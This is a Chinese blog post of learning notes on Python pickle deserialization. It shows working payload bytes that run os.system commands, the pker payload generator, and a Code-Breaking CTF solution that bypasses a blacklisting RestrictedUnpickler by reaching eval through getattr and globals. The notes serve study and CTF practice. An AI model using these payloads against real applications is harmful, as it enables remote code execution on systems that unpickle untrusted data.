python反序列化学习记录 (4)

关注到第七行的setstate(state),这意味着可以RCE,但是inst原先是没有__setstate__这个方法的。可以利用{‘__setstate__’: os.system}来BUILD这个对象,那么现在inst的__setstate__方法就变成了os.system;另外再确保state也即一开始的栈顶元素为calc.exe,则会执行setstate(“calc.exe”) ,也即os.system("calc.exe")。

上面的操作对应的payload如下:

b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'

验证代码:

import os import pickle import pickletools class A(): #balabala····· str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.' pickle.loads(str)

python反序列化学习记录

除了操作码b可以利用外,还有i和o操作码可以实现RCE:

b'(S\'whoami\'\nios\nsystem\n.' b'(cos\nsystem\nS\'whoami\'\no.'

payload的构造可以参照对应的作用:

file

工具pker

Github地址

借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。

pker主要用到GLOBALINSTOBJ三种特殊的函数以及一些必要的转换方式:

GLOBAL :用来获取module下的一个全局对象,对应操作码c ,如GLOBAL('os', 'system')

INST :建立并入栈一个对象(可以执行一个函数),对应操作码i ,如INST('os','system','ls') ,输入规则按照:module,callable,para

OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码o。 如OBJ(GLOBAL('os','system'),'ls') ,输入规则按照:callable,para

xxx(xx,...): 使用参数xx调用函数xxx,对应操作码R

li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某项的值,对应操作码s

xx.attr=123:对xx对象进行属性设置,对应操作码b

return :出栈,对应操作码0

使用例子:

1、用于执行os.system("whoami"):

s='whoami' system = GLOBAL('os', 'system') system(s) # b'R'调用 return

2、全局变量覆盖举例:

secret=GLOBAL('__main__', 'secret') secret.name='1' secret.category='2'

以刚刚上面那道只允许引入__main__模块的变量覆盖为例,对应的pker代码:

otherpeople = GLOBAL('__main__','otherpeople') otherpeople.name = 'sunxiaokong' otherpeople.age = 22 new = INST('__main__', 'person','sunxiaokong',20) return new Code-Breaking picklecode import pickle import base64 import builtins import io class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() restricted_loads(base64.b64decode(input()))

代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins这个模块,而且禁止了里面的一些函数。但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)的方法来构造eval函数。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。

用pker构造payload:

#先借助builtins.globals获取builtins模块 getattr=GLOBAL('builtins','getattr') dict=GLOBAL('builtins','dict') dict_get=getattr(dict,'get') glo_dic=GLOBAL('builtins','globals')() builtins=dict_get(glo_dic,'builtins') #再用builtins模块获取eval函数 eval=getattr(builtins,'eval') eval('ls') return

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpxszj.html